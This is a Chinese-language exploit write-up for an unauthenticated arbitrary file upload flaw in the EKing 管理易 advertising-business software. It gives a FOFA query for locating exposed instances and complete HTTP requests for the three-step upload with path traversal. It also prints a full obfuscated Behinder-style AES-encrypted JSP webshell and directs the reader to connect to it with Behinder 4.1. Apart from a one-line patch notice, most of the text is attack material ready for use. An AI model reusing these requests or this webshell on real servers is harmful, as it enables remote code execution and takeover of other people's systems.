0x01 产品描述：
Eking管理易是一款专为广告制品制作企业量身定制的管理软件产品，旨在帮助企业实现规范化、科学化管理，提升运营效率和降低运营成本。 该软件由广州易凯软件技术有限公司开发，基于JAVA企业版技术研发，采用B/S架构，支持Internet应用，能够适应广告装饰、有机工艺、展览展示、有机丝印、喷绘写真等广告标识制作企业的需求
0x02 漏洞描述：
EKing-管理易/Html5Upload 接口处存在前台任意文件上传漏洞，未经身份验证的远程攻击者可利用此漏洞上传任意文件，在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器
0x03 搜索语句：
Fofa：app="EKing-管理易"
0x04 漏洞复现：
该漏洞需要通过/Html5Upload 接口分三步进行操作，通过Html5Upload 接口依次进行文件名创建，数据上传，文件保存。
文件名创建：
POST /Html5Upload.ihtm HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
comm_type=INIT&sign_id=shell1&vp_type=default&file_name=../../test1.jsp&file_size=2048
数据上传：
注意这里sign_id需要跟随文件创建的sign_id 否则数据上传地址不是同一个
POST /Html5Upload.ihtm HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Connection: close
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="comm_type"
DATA
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="sign_id"
shell1
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data_inde"
0
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data"; filename="chunk1"
Content-Type: application/octet-stream
<% out.println("test");%>
------WebKitFormBoundaryj7OlOPiiukkdktZR--
保存文件：
同样需注意这里的sign_id
POST /Html5Upload.ihtm HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
comm_type=END&sign_id=shell1&file_name=../../test1.jsp 
访问保存文件名地址：
webshell构建
POST /Html5Upload.ihtm HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Connection: close
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="comm_type"
DATA
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="sign_id"
shell1
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data_inde"
0
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data"; filename="chunk1"
Content-Type: application/octet-stream
<%! public byte[] Af5Wb(String Strings,String k) throws Exception { javax.crypto.Cipher BBswL9 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");BBswL9.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));byte[] bytes;try{int[] aa = new int[]{122, 113, 102, 113, 62, 101, 100, 121, 124, 62, 82, 113, 99, 117, 38, 36};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr); Object decoder = clazz.getMethod("getDecoder").invoke(null);bytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, Strings);}catch (Throwable e){int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr);bytes = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), Strings);}byte[] result = (byte[]) BBswL9.getClass()./*Zw8Cf543c0*/getDeclaredMethod/*Zw8Cf543c0*/("doFinal", new Class[]{byte[].class}).invoke(BBswL9,new Object[]{bytes});return result;} %><% try { String KF5n3T9 = "dfff0a7fa1a55c8c"; session.putValue("u", KF5n3T9); byte[] Iu73Wlq = Af5Wb (request.getReader().readLine(),KF5n3T9); java./*Zw8Cf543c0*/lang./*Zw8Cf543c0*/reflect.Method Af5Wb = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Zw8Cf543c0*/("defineClass",byte[].class,int/**/.class,int/**/.class); Af5Wb.setAccessible(true); Class i = (Class)Af5Wb.invoke(Thread.currentThread()./*Zw8Cf543c0*/getContextClassLoader(), Iu73Wlq , 0, Iu73Wlq.length); Object QsG8 = i./*Zw8Cf543c0*/newInstance(); QsG8.equals(pageContext); } catch (Exception e) {} %>
------WebKitFormBoundaryj7OlOPiiukkdktZR--数据上传后进行文件保存并通过冰蝎4.1进行连接
0x05 修复建议：
官方已发布补丁 请即时修复。
